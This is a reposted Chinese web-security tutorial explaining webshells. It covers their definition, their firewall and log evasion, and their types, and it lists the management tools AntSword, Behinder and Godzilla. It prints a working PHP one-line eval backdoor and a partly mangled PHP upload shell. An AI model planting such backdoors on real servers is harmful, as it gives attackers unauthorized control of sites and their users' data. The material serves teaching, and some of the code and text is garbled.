iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >web安全第四天:webshell原理与菜刀使用
  • 877
分享到

web安全第四天:webshell原理与菜刀使用

php开发语言 2023-10-02 09:10:35 877人浏览 薄情痞子
摘要

WEBshell原理 1.1 WebShell的含义 WebShell就是以asp、PHP、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,

WEBshell原理

1.1 WebShell的含义

WebShell就是以asp、PHPjsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。

1.2 WebShell的优点

WebShell最大的优点就是可以穿越防火墙,由于与被控制的服务器或远程主机交换的数据都是通过8O0端口传递的,因此不会被防火墙拦截。并且使用WebShell一般不会在系统日志中留下记录只会在网站的web日志中 留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。

1.3 WebShell的分类

WebShell根据脚本可以分为PHP脚本木马,ASP脚本木马,也有基于.net的脚本木马和JSP脚本木马。跟随时代和技术的变迁,国外也有用python编写的脚本木马,不过国内常用的无外乎三种,大马,小马,一句话木马,具体使用场景和特点如下图:
在这里插入图片描述

1.3.1一句话木马

代码简短,通常只有一行代码,使用方便。
PHP:

在这里插入图片描述

1.3.2 小马

只包含文件上传功能,体积小。

< ?php@$temp = $_FILES[ ' upload_file'][ 'tmp_name ' ];@$file = basename($_FILES[ ' upload_file' ][ 'name ' ]);if ( empty ($file) ){echo "
\n";echo "Local file: \n";echo " \n";echo " \n
 \n\n
"
;}else {if(move_uploaded_file($temp , $file)){echo "File uploaded successfully.

\n"}else {echo "Unable to upload " . $file . ".

n"; }}?>

1.3.3 大马

体积大,包含很多功能,代码通常会进行加密隐藏。
在这里插入图片描述

1.4 WebShell原理抛析

首先我们先看一个原始而又简单的php一句话木马:

<?php @eval($_POST['a']);?>

(1) php的代码要写在里面,服务器才能认出来这是php代码,然后才去解析。

(2)@符号的意思是不报错,即使执行错误,也不报错。

(3)为什么密码是a呢?
php里面几个超全局变量:$_GET、$_POST就是其中之一。$_POST[a];的意思就是a这个变量,用post的方法接收。

(4)如何理解eval()函数?
eval()把字符串作为PHP代码执行。
例如: eval(“echo 'a”");其实就等于直接echo ‘a’;再来看看首先,用post方式接收变量a,比如接收到了: a=echo 'a;这时代码就变成。结果如下:

在这里插入图片描述

1.2.1 WebShell管理工具的诞生

攻击者在入侵网站时,通常要通过各种方式写入WebShell,从而获得服务器的控制权限,比如执行系统命令.读取配置文件、窃取用户数据,篡改网站页面等操作。为了方便对这些WebShell进行管理,就诞生了各种各样的WebShell管理工具。

菜刀原理

2.1菜刀工作原理

以虚拟终端执行命令

常见webshell管理工具

3.1中国蚁剑

中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。
项目地址: https:/lgithub.com/AntSwordProject/AntSword-Loader

3.2冰蝎

冰蝎通信过程中使用AES(高级加密算法,对称加密,微信小程序使用此种方法)进行加密,Java和.NET默认支持AES, php中需要开启openssl扩展,在V2.0版本后,php环境方式根据服务端支持情况动态选择,使得冰蝎更强大。
项目地址: https://github.com/rebeyond/Behinder

3.3哥斯拉

护网期间,各大厂商的waf不断,在静态查杀、流量通信等方面对webshell进行拦截,众红队急需一款优秀的权限管理工具,冰蝎3.0的发布可能缓解了流量加密的困境,但是冰蝎3.0的bug众多,很多朋友甚至连不上冰蝎的shell,于是@BeichenDream决定公开他所开发的一款shell权限管理工具,名为“哥斯拉”。
项目地址: https://github.com/BeichenDream/Godzilla

来源地址:https://blog.csdn.net/cc777777777/article/details/129224938

--结束END--

本文标题: web安全第四天:webshell原理与菜刀使用

本文链接: https://www.lsjlt.com/news/422580.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作